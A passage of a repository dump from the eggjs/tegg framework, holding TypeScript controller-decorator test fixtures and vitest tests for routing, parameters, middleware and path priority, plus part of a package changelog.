@HTTPMethod({\n    path: '/default/:id',\n    method: HTTPMethodEnum.GET,\n  })\n  @Middleware(middleware2)\n  @Middleware(middleware3)\n  async bar(\n    @HTTPContext() ctx: EggContext,\n    @HTTPParam() id = 233,\n    @HTTPQuery() query: Record<string, unknown>,\n    @HTTPQueries() queries: Record<string, unknown[]>,\n  ): Promise<void> {\n    console.log(ctx, id, query, queries);\n  }\n}\n\n@HTTPController()\nexport class Error1Controller {\n  @HTTPMethod({\n    path: '/error',\n    method: HTTPMethodEnum.GET,\n  })\n  @Middleware(middleware2)\n  @Middleware(middleware3)\n  async bar(@HTTPContext() ctx: EggContext, id: number): Promise<void> {\n    console.log(ctx, id);\n  }\n}\n\n@HTTPController()\nexport class Error2Controller {\n  @HTTPMethod({\n    path: '/error',\n    method: HTTPMethodEnum.GET,\n  })\n  @Middleware(middleware2)\n  @Middleware(middleware3)\n  async bar(@HTTPContext() ctx: EggContext, id = 233, @HTTPParam() id2: number = 233): Promise<void> {\n    console.log(ctx, id, id2);\n  }\n}\n"
  },
  {
    "path": "tegg/core/controller-decorator/test/fixtures/HTTPPriorityController.ts",
    "content": "import { HTTPMethodEnum } from '@eggjs/tegg-types';\n\nimport { HTTPController, HTTPMethod } from '../../src/index.ts';\n\n@HTTPController({\n  path: '/foo',\n})\nexport class PriorityController {\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/*',\n  })\n  async regexpMethod(): Promise<void> {\n    return Promise.resolve();\n  }\n\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/users/:id',\n  })\n  async paramMethod(): Promise<void> {\n    return Promise.resolve();\n  }\n\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/web/users/*',\n  })\n  async regexpMethod2(): Promise<void> {\n    return Promise.resolve();\n  }\n}\n\n@HTTPController()\nexport class TooLongController {\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/:id1/:id2/:id3/:id4/:id5/:id6/:id7/:id8/:id9/:id10/:id11/:id12/:id13/:id14/:id15',\n  })\n  async tooLongMethod(): Promise<void> {\n    return Promise.resolve();\n  }\n}\n"
  },
  {
    "path": "tegg/core/controller-decorator/test/fixtures/HostController.ts",
    "content": "import { Host } from '../../src/index.ts';\n\n@Host('foo.eggjs.com')\nexport class HostController {\n  async hello(): Promise<void> {\n    return;\n  }\n\n  @Host('bar.eggjs.com')\n  async bar(): Promise<void> {\n    return;\n  }\n}\n"
  },
  {
    "path": "tegg/core/controller-decorator/test/fixtures/MiddlewareController.ts",
    "content": "import type { EggContext, Next } from '@eggjs/tegg-types';\n\nimport { Middleware } from '../../src/index.ts';\n\nasync function middleware1(ctx: EggContext, next: Next) {\n  console.log(ctx, next);\n}\n\nasync function middleware2(ctx: EggContext, next: Next) {\n  console.log(ctx, next);\n}\n\nasync function middleware3(ctx: EggContext, next: Next) {\n  console.log(ctx, next);\n}\n\n@Middleware(middleware1)\nexport class MiddlewareController {\n  @Middleware(middleware2)\n  @Middleware(middleware3)\n  async hello(): Promise<void> {\n    return;\n  }\n}\n\n@Middleware(middleware1)\nexport class MiddlewaresController {\n  @Middleware(middleware2, middleware3)\n  async hello(): Promise<void> {\n    return;\n  }\n}\n"
  },
  {
    "path": "tegg/core/controller-decorator/test/http/HTTPMeta.test.ts",
    "content": "import assert from 'node:assert';\n\nimport { PointcutAdviceInfoUtil } from '@eggjs/aop-decorator';\nimport { ControllerType, HTTPMethodEnum } from '@eggjs/tegg-types';\nimport { describe, it, beforeEach } from 'vitest';\n\nimport {\n  BodyParamMeta,\n  ControllerMetaBuilderFactory,\n  ParamMeta,\n  HeadersParamMeta,\n  PathParamMeta,\n  QueriesParamMeta,\n  QueryParamMeta,\n  HTTPControllerMeta,\n} from '../../src/index.js';\nimport {\n  AopMiddlewareController,\n  BarAdvice,\n  BarMethodAdvice,\n  FooAdvice,\n  FooMethodAdvice,\n} from '../fixtures/AopMiddlewareController.js';\nimport {\n  ControllerWithParam,\n  DefaultValueController,\n  Error1Controller,\n  Error2Controller,\n  FooController,\n  FoxController,\n  FxxController,\n} from '../fixtures/HTTPFooController.js';\nimport { PriorityController, TooLongController } from '../fixtures/HTTPPriorityController.js';\n\ndescribe('core/controller-decorator/test/http/HTTPMeta.test.ts', () => {\n  it('should work', () => {\n    const fooControllerMetaData = ControllerMetaBuilderFactory.build(\n      FooController,\n      ControllerType.HTTP,\n    )! as HTTPControllerMeta;\n    assert(fooControllerMetaData.protoName === 'fooController');\n    assert(fooControllerMetaData.controllerName === 'FooController');\n    assert(fooControllerMetaData.className === 'FooController');\n    assert(fooControllerMetaData.path === '/foo');\n    assert(fooControllerMetaData.middlewares.length === 1);\n    assert(fooControllerMetaData.methods.length === 1);\n    const barMethodMetaData = fooControllerMetaData.methods[0];\n    assert(barMethodMetaData.name === 'bar');\n    assert(barMethodMetaData.path === '/bar/:id');\n    assert(barMethodMetaData.method === HTTPMethodEnum.POST);\n    assert(barMethodMetaData.contextParamIndex === 0);\n    assert(barMethodMetaData.middlewares.length === 2);\n    const expectParamTypeMap = new Map<number, ParamMeta>([\n      [1, new BodyParamMeta()],\n      [2, new QueryParamMeta('query')],\n      [3, new QueriesParamMeta('queries')],\n      [4, new PathParamMeta('id')],\n    ]);\n    assert.deepStrictEqual(barMethodMetaData.paramMap, expectParamTypeMap);\n  });\n\n  it('controller name should work', () => {\n    const fxxControllerMetaData = ControllerMetaBuilderFactory.build(\n      FoxController,\n      ControllerType.HTTP,\n    )! as HTTPControllerMeta;\n    assert(fxxControllerMetaData.controllerName === 'FxxController');\n    assert(fxxControllerMetaData.protoName === 'foxController');\n    assert(fxxControllerMetaData.className === 'FoxController');\n  });\n\n  it('proto name should work', () => {\n    const fxxControllerMetaData = ControllerMetaBuilderFactory.build(\n      FxxController,\n      ControllerType.HTTP,\n    )! as HTTPControllerMeta;\n    assert(fxxControllerMetaData.protoName === 'FooController');\n    assert(fxxControllerMetaData.className === 'FxxController');\n    assert(fxxControllerMetaData.controllerName === 'FxxController');\n  });\n\n  it('should support param with default value', () => {\n    const controllerMeta = ControllerMetaBuilderFactory.build(DefaultValueController)! as HTTPControllerMeta;\n    const methodMeta = controllerMeta.methods[0];\n    assert(methodMeta.paramMap.size === 3);\n  });\n\n  describe('param has no decorator', () => {\n    it('should throw error', () => {\n      assert.throws(() => {\n        const builder = ControllerMetaBuilderFactory.createControllerMetaBuilder(Error1Controller)!;\n        builder.build();\n      }, /param 1 has no http param type/);\n    });\n  });\n\n  describe('controller has param', () => {\n    it('should throw error', () => {\n      const controllerMeta = ControllerMetaBuilderFactory.build(ControllerWithParam)! as HTTPControllerMeta;\n      const methodMeta = controllerMeta.methods[0];\n      const expectParamTypeMap = new Map<number, ParamMeta>([\n        [3, new HeadersParamMeta()],\n        [2, new PathParamMeta('fooId')],\n        [1, new PathParamMeta('id')],\n      ]);\n      assert.deepStrictEqual(methodMeta.paramMap, expectParamTypeMap);\n    });\n  });\n\n  describe('param after default param has no decorator', () => {\n    it('should throw error', () => {\n      assert.throws(() => {\n        const builder = ControllerMetaBuilderFactory.createControllerMetaBuilder(Error1Controller)!;\n        builder.build();\n      }, /param 1 has no http param type/);\n    });\n  });\n\n  it('should check decorator', () => {\n    assert.throws(() => {\n      const builder = ControllerMetaBuilderFactory.createControllerMetaBuilder(Error2Controller)!;\n      builder.build();\n    }, /param 1 has no http param type/);\n  });\n\n  describe('priority', () => {\n    let priorityMeta: HTTPControllerMeta;\n\n    beforeEach(() => {\n      priorityMeta = ControllerMetaBuilderFactory.build(PriorityController, ControllerType.HTTP)! as HTTPControllerMeta;\n    });\n\n    describe('path is /foo/*', () => {\n      it('should equals 1000', () => {\n        const methodMeta = priorityMeta.methods.find((t) => t.name === 'regexpMethod')!;\n        assert(methodMeta.priority === 1000);\n      });\n    });\n\n    describe('path is /foo/users/:id', () => {\n      it('should equals 2000', () => {\n        const methodMeta = priorityMeta.methods.find((t) => t.name === 'paramMethod')!;\n        assert(methodMeta.priority === 2000);\n      });\n    });\n\n    describe('path is /web/users/*', () => {\n      it('should equals 3000', () => {\n        const methodMeta = priorityMeta.methods.find((t) => t.name === 'regexpMethod2')!;\n        assert(methodMeta.priority === 3000);\n      });\n    });\n\n    describe('too long path', () => {\n      it('should throw error', () => {\n        const builder = ControllerMetaBuilderFactory.createControllerMetaBuilder(\n          TooLongController,\n          ControllerType.HTTP,\n        )!;\n        assert.throws(() => {\n          builder.build();\n        }, /path \\/:id1\\/:id2\\/:id3\\/:id4\\/:id5\\/:id6\\/:id7\\/:id8\\/:id9\\/:id10\\/:id11\\/:id12\\/:id13\\/:id14\\/:id15 is too long, should set priority manually/);\n      });\n    });\n  });\n\n  it('aop middleware should work', () => {\n    ControllerMetaBuilderFactory.build(AopMiddlewareController, ControllerType.HTTP);\n    const helloAdvices = PointcutAdviceInfoUtil.getPointcutAdviceInfoList(AopMiddlewareController, 'hello');\n    const byeAdvices = PointcutAdviceInfoUtil.getPointcutAdviceInfoList(AopMiddlewareController, 'bye');\n\n    assert.deepStrictEqual(helloAdvices, [\n      {\n        clazz: FooMethodAdvice,\n        order: 1000,\n        adviceParams: undefined,\n      },\n      {\n        clazz: BarMethodAdvice,\n        order: 1000,\n        adviceParams: undefined,\n      },\n      {\n        clazz: FooAdvice,\n        order: 1000,\n        adviceParams: undefined,\n      },\n      {\n        clazz: BarAdvice,\n        order: 1000,\n        adviceParams: undefined,\n      },\n    ]);\n\n    assert.deepStrictEqual(byeAdvices, [\n      { clazz: FooAdvice, order: 1000, adviceParams: undefined },\n      { clazz: BarAdvice, order: 1000, adviceParams: undefined },\n    ]);\n  });\n});\n"
  },
  {
    "path": "tegg/core/controller-decorator/test/http/Host.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport { ControllerInfoUtil, MethodInfoUtil } from '../../src/util/index.js';\nimport { HostController } from '../fixtures/HostController.js';\n\ndescribe('test/Host.test.ts', () => {\n  it('controller Host work', () => {\n    const controllerHost = ControllerInfoUtil.getControllerHosts(HostController);\n    assert.equal(controllerHost![0], 'foo.eggjs.com');\n  });\n\n  it('method Host work', () => {\n    const methodHost = MethodInfoUtil.getMethodHosts(HostController, 'bar');\n    assert.equal(methodHost![0], 'bar.eggjs.com');\n  });\n});\n"
  },
  {
    "path": "tegg/core/controller-decorator/test/index.test.ts",
    "content": "import { expect, it } from 'vitest';\n\nimport * as types from '../src/index.js';\n\nit('should export stable', async () => {\n  expect(types).toMatchSnapshot();\n});\n"
  },
  {
    "path": "tegg/core/controller-decorator/test/util/ControllerMetadataUtil.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { MetadataUtil } from '@eggjs/core-decorator';\nimport { CONTROLLER_META_DATA } from '@eggjs/tegg-types';\nimport { describe, it, beforeEach } from 'vitest';\n\nimport { ControllerMetadataUtil } from '../../src/index.js';\nimport { FooController, ParentController, ChildController } from '../fixtures/HTTPFooController.js';\n\ndescribe('test/util/ControllerMetadataUtil.test.ts', () => {\n  describe('get metadata', () => {\n    beforeEach(() => {\n      MetadataUtil.deleteMetaData(CONTROLLER_META_DATA, FooController);\n    });\n\n    it('should work', () => {\n      const metadata = ControllerMetadataUtil.getControllerMetadata(FooController)!;\n      assert.ok(metadata);\n      assert.equal(metadata.controllerName, 'FooController');\n    });\n  });\n\n  describe('inherit case', () => {\n    beforeEach(() => {\n      MetadataUtil.deleteMetaData(CONTROLLER_META_DATA, ParentController);\n      MetadataUtil.deleteMetaData(CONTROLLER_META_DATA, ChildController);\n    });\n\n    it('should work', () => {\n      const parentMetadata = ControllerMetadataUtil.getControllerMetadata(ParentController)!;\n      assert.ok(parentMetadata);\n      assert.equal(parentMetadata.controllerName, 'ParentController');\n\n      const childMetadata = ControllerMetadataUtil.getControllerMetadata(ChildController)!;\n      assert.ok(childMetadata);\n      assert.equal(childMetadata.controllerName, 'ChildController');\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/core/controller-decorator/test/util/HTTPPriority.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport { HTTPPriorityUtil } from '../../src/index.ts';\n\ndescribe('test/util/HTTPPriority.test.ts', () => {\n  describe('path has no regexp', () => {\n    it('should eqs 100000', () => {\n      assert.equal(HTTPPriorityUtil.calcPathPriority('/'), HTTPPriorityUtil.DEFAULT_PRIORITY);\n      assert.equal(HTTPPriorityUtil.calcPathPriority('/users'), HTTPPriorityUtil.DEFAULT_PRIORITY);\n    });\n  });\n\n  describe('path has regexp', () => {\n    describe('path has less than 10 /', () => {\n      it('should works', () => {\n        assert.equal(HTTPPriorityUtil.calcPathPriority('/*'), 0);\n        assert.equal(HTTPPriorityUtil.calcPathPriority('/users/:id'), 1000);\n        assert.equal(HTTPPriorityUtil.calcPathPriority('/users/:id/moments/:momentId'), 4000);\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/core/controller-decorator/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.json\"\n}\n"
  },
  {
    "path": "tegg/core/controller-decorator/tsdown.config.ts",
    "content": "import { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  entry: {\n    index: 'src/index.ts',\n  },\n});\n"
  },
  {
    "path": "tegg/core/core-decorator/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n\nAll notable changes to this project will be documented in this file.\nSee [Conventional Commits](https://conventionalcommits.org) for commit guidelines.\n\n# [4.0.0-beta.4](https://github.com/eggjs/tegg/compare/v4.0.0-beta.3...v4.0.0-beta.4) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n# [4.0.0-beta.3](https://github.com/eggjs/tegg/compare/v4.0.0-beta.2...v4.0.0-beta.3) (2025-03-15)\n\n\n### Bug Fixes\n\n* add qualifier check ([#296](https://github.com/eggjs/tegg/issues/296)) ([5ea21ff](https://github.com/eggjs/tegg/commit/5ea21ffec61e0c4a743e84d9c8e96d8d9079b4cc))\n\n\n\n\n\n# [4.0.0-beta.2](https://github.com/eggjs/tegg/compare/v4.0.0-beta.1...v4.0.0-beta.2) (2025-03-03)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n# [4.0.0-beta.1](https://github.com/eggjs/tegg/compare/v3.52.0...v4.0.0-beta.1) (2025-03-02)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n# [3.52.0](https://github.com/eggjs/tegg/compare/v3.51.2...v3.52.0) (2024-12-30)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n## [3.51.2](https://github.com/eggjs/tegg/compare/v3.51.1...v3.51.2) (2024-12-09)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n## [3.51.1](https://github.com/eggjs/tegg/compare/v3.51.0...v3.51.1) (2024-11-06)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n# [3.51.0](https://github.com/eggjs/tegg/compare/v3.50.1...v3.51.0) (2024-10-30)\n\n\n### Features\n\n* add default inject init type qualifier ([#255](https://github.com/eggjs/tegg/issues/255)) ([538ae80](https://github.com/eggjs/tegg/commit/538ae8033ff102ac0b1d141c6495058a800e46f1))\n* support optional inject ([#254](https://github.com/eggjs/tegg/issues/254)) ([260470b](https://github.com/eggjs/tegg/commit/260470b766d5fdb323c1bd72cc6260a90468a161))\n\n\n\n\n\n## [3.50.1](https://github.com/eggjs/tegg/compare/v3.50.0...v3.50.1) (2024-10-23)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n# [3.50.0](https://github.com/eggjs/tegg/compare/v3.49.0...v3.50.0) (2024-10-22)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n# [3.49.0](https://github.com/eggjs/tegg/compare/v3.48.1...v3.49.0) (2024-10-21)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n## [3.48.1](https://github.com/eggjs/tegg/compare/v3.48.0...v3.48.1) (2024-10-14)\n\n\n### Bug Fixes\n\n* fix merge qualifier ([#250](https://github.com/eggjs/tegg/issues/250)) ([d5a8a93](https://github.com/eggjs/tegg/commit/d5a8a93abad570f69881f9fa42f39d7b5cd436be))\n\n\n\n\n\n# [3.48.0](https://github.com/eggjs/tegg/compare/v3.47.2...v3.48.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n## [3.47.2](https://github.com/eggjs/tegg/compare/v3.47.1...v3.47.2) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n## [3.47.1](https://github.com/eggjs/tegg/compare/v3.47.0...v3.47.1) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n# [3.47.0](https://github.com/eggjs/tegg/compare/v3.46.4...v3.47.0) (2024-10-10)\n\n\n### Features\n\n* export ProtoDescriptorHelper ([#245](https://github.com/eggjs/tegg/issues/245)) ([f01fb63](https://github.com/eggjs/tegg/commit/f01fb639b153a907fd9c951d4b1e40ba101b43d0))\n\n\n\n\n\n## [3.46.4](https://github.com/eggjs/tegg/compare/v3.46.3...v3.46.4) (2024-10-09)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n## [3.46.3](https://github.com/eggjs/tegg/compare/v3.46.2...v3.46.3) (2024-10-08)\n\n\n### Bug Fixes\n\n* Prototype should not be inherited ([#243](https://github.com/eggjs/tegg/issues/243)) ([6e7017a](https://github.com/eggjs/tegg/commit/6e7017a48d395fba6525e0b31c848a257eb171ef))\n\n\n\n\n\n## [3.46.2](https://github.com/eggjs/tegg/compare/v3.46.1...v3.46.2) (2024-10-07)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n## [3.46.1](https://github.com/eggjs/tegg/compare/v3.46.0...v3.46.1) (2024-09-30)\n\n\n### Bug Fixes\n\n* fix miss MultiInstance proper qualifiers ([#241](https://github.com/eggjs/tegg/issues/241)) ([15666d3](https://github.com/eggjs/tegg/commit/15666d36c18b99eccc4f1a11d8e7702503694ee1))\n\n\n\n\n\n# [3.46.0](https://github.com/eggjs/tegg/compare/v3.45.0...v3.46.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n# [3.45.0](https://github.com/eggjs/tegg/compare/v3.44.1...v3.45.0) (2024-09-29)\n\n\n### Features\n\n* impl MultiInstanceInfo decorator ([#239](https://github.com/eggjs/tegg/issues/239)) ([70d4d95](https://github.com/eggjs/tegg/commit/70d4d95bca4a0c3e11d0d7cc4f292b1315e49e81))\n\n\n\n\n\n## [3.44.1](https://github.com/eggjs/tegg/compare/v3.44.0...v3.44.1) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n# [3.44.0](https://github.com/eggjs/tegg/compare/v3.43.2...v3.44.0) (2024-09-29)\n\n\n### Features\n\n* support inject in constructor ([#237](https://github.com/eggjs/tegg/issues/237)) ([e68b1ed](https://github.com/eggjs/tegg/commit/e68b1ed6a90432f1cb35a6f562914b7b04cb5114))\n\n\n\n\n\n## [3.43.2](https://github.com/eggjs/tegg/compare/v3.43.1...v3.43.2) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n## [3.43.1](https://github.com/eggjs/tegg/compare/v3.43.0...v3.43.1) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n# [3.43.0](https://github.com/eggjs/tegg/compare/v3.42.0...v3.43.0) (2024-09-13)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n# [3.42.0](https://github.com/eggjs/tegg/compare/v3.41.0...v3.42.0) (2024-09-10)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n# [3.41.0](https://github.com/eggjs/tegg/compare/v3.40.1...v3.41.0) (2024-08-26)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n## [3.40.1](https://github.com/eggjs/tegg/compare/v3.40.0...v3.40.1) (2024-08-23)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n# [3.40.0](https://github.com/eggjs/tegg/compare/v3.39.5...v3.40.0) (2024-08-22)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n## [3.39.5](https://github.com/eggjs/tegg/compare/v3.39.4...v3.39.5) (2024-08-09)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n## [3.39.4](https://github.com/eggjs/tegg/compare/v3.39.3...v3.39.4) (2024-07-09)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n## [3.39.3](https://github.com/eggjs/tegg/compare/v3.39.2...v3.39.3) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n## [3.39.2](https://github.com/eggjs/tegg/compare/v3.39.1...v3.39.2) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n## [3.39.1](https://github.com/eggjs/tegg/compare/v3.39.0...v3.39.1) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n# [3.39.0](https://github.com/eggjs/tegg/compare/v3.38.0...v3.39.0) (2024-04-19)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n# [3.38.0](https://github.com/eggjs/tegg/compare/v3.37.3...v3.38.0) (2024-04-18)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n## [3.37.3](https://github.com/eggjs/tegg/compare/v3.37.2...v3.37.3) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n## [3.37.2](https://github.com/eggjs/tegg/compare/v3.37.1...v3.37.2) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n## [3.37.1](https://github.com/eggjs/tegg/compare/v3.37.0...v3.37.1) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n# [3.37.0](https://github.com/eggjs/tegg/compare/v3.36.3...v3.37.0) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n## [3.36.3](https://github.com/eggjs/tegg/compare/v3.36.2...v3.36.3) (2024-04-10)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n## [3.36.2](https://github.com/eggjs/tegg/compare/v3.36.1...v3.36.2) (2024-04-08)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n## [3.36.1](https://github.com/eggjs/tegg/compare/v3.36.0...v3.36.1) (2024-04-07)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n# [3.36.0](https://github.com/eggjs/tegg/compare/v3.35.1...v3.36.0) (2024-04-02)\n\n\n### Features\n\n* impl ajv + typebox Validator ([#201](https://github.com/eggjs/tegg/issues/201)) ([9fd585d](https://github.com/eggjs/tegg/commit/9fd585de9b613466c96b73494a08a494db34ea57))\n\n\n\n\n\n## [3.35.1](https://github.com/eggjs/tegg/compare/v3.35.0...v3.35.1) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n# [3.35.0](https://github.com/eggjs/tegg/compare/v3.34.0...v3.35.0) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n# [3.34.0](https://github.com/eggjs/tegg/compare/v3.33.1...v3.34.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n## [3.33.1](https://github.com/eggjs/tegg/compare/v3.33.0...v3.33.1) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n# [3.33.0](https://github.com/eggjs/tegg/compare/v3.32.0...v3.33.0) (2024-03-22)\n\n\n### Features\n\n* impl dal ([#192](https://github.com/eggjs/tegg/issues/192)) ([1c7d145](https://github.com/eggjs/tegg/commit/1c7d1454bc8c600cd58c3ec7b9cda4e8a98c7287))\n\n\n\n\n\n# [3.32.0](https://github.com/eggjs/tegg/compare/v3.31.0...v3.32.0) (2024-02-19)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n# [3.31.0](https://github.com/eggjs/tegg/compare/v3.30.1...v3.31.0) (2024-01-31)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n## [3.30.1](https://github.com/eggjs/tegg/compare/v3.30.0...v3.30.1) (2024-01-25)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n# [3.30.0](https://github.com/eggjs/tegg/compare/v3.29.0...v3.30.0) (2024-01-17)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n# [3.29.0](https://github.com/eggjs/tegg/compare/v3.28.2...v3.29.0) (2023-12-26)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n## [3.28.2](https://github.com/eggjs/tegg/compare/v3.28.1...v3.28.2) (2023-12-12)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n## [3.28.1](https://github.com/eggjs/tegg/compare/v3.28.0...v3.28.1) (2023-12-11)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n# [3.28.0](https://github.com/eggjs/tegg/compare/v3.27.0...v3.28.0) (2023-12-10)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n# [3.27.0](https://github.com/eggjs/tegg/compare/v3.26.0...v3.27.0) (2023-11-23)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n## [3.25.2](https://github.com/eggjs/tegg/compare/v3.25.1...v3.25.2) (2023-11-06)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n## [3.25.1](https://github.com/eggjs/tegg/compare/v3.25.0...v3.25.1) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n# [3.25.0](https://github.com/eggjs/tegg/compare/v3.24.0...v3.25.0) (2023-11-03)\n\n\n### Features\n\n* tegg plugin support ModuleConfig ([#162](https://github.com/eggjs/tegg/issues/162)) ([58bd9fa](https://github.com/eggjs/tegg/commit/58bd9fafdd0d56aabdde5f7c33f17c45568bada8))\n\n\n\n\n\n# [3.24.0](https://github.com/eggjs/tegg/compare/v3.23.0...v3.24.0) (2023-10-26)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n# [3.23.0](https://github.com/eggjs/tegg/compare/v3.22.0...v3.23.0) (2023-09-20)\n\n\n### Features\n\n* add className property to EggPrototypeInfo ([#158](https://github.com/eggjs/tegg/issues/158)) ([bddac97](https://github.com/eggjs/tegg/commit/bddac97a9f575c9f13b794246a7e8346c58d1a09))\n\n\n\n\n\n# [3.20.0](https://github.com/eggjs/tegg/compare/v3.19.0...v3.20.0) (2023-09-07)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n# [3.19.0](https://github.com/eggjs/tegg/compare/v3.18.1...v3.19.0) (2023-08-31)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n## [3.18.1](https://github.com/eggjs/tegg/compare/v3.18.0...v3.18.1) (2023-08-29)\n\n\n### Bug Fixes\n\n* fix use MultiInstanceProto from other modules ([#147](https://github.com/eggjs/tegg/issues/147)) ([b71af60](https://github.com/eggjs/tegg/commit/b71af60ce6d1da0d778f5e712633b8c15052bd70))\n\n\n\n\n\n# [3.18.0](https://github.com/eggjs/tegg/compare/v3.17.0...v3.18.0) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n# [3.17.0](https://github.com/eggjs/tegg/compare/v3.16.0...v3.17.0) (2023-08-24)\n\n\n### Features\n\n* impl MultiInstanceProto ([#145](https://github.com/eggjs/tegg/issues/145)) ([12fd5cf](https://github.com/eggjs/tegg/commit/12fd5cff4004578bcc737dcdf4f7e9d1159f5633))\n\n\n\n\n\n# [3.16.0](https://github.com/eggjs/tegg/compare/v3.15.0...v3.16.0) (2023-08-24)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n## [3.14.3](https://github.com/eggjs/tegg/compare/v3.14.2...v3.14.3) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n## [3.14.2](https://github.com/eggjs/tegg/compare/v3.14.1...v3.14.2) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n## [3.14.1](https://github.com/eggjs/tegg/compare/v3.14.0...v3.14.1) (2023-08-11)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n# [3.14.0](https://github.com/eggjs/tegg/compare/v3.13.0...v3.14.0) (2023-07-31)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n# [3.13.0](https://github.com/eggjs/tegg/compare/v3.12.0...v3.13.0) (2023-07-25)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n# [3.12.0](https://github.com/eggjs/tegg/compare/v3.11.1...v3.12.0) (2023-07-13)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n## [3.11.1](https://github.com/eggjs/tegg/compare/v3.11.0...v3.11.1) (2023-06-29)\n\n**Note:** Version bump only for package 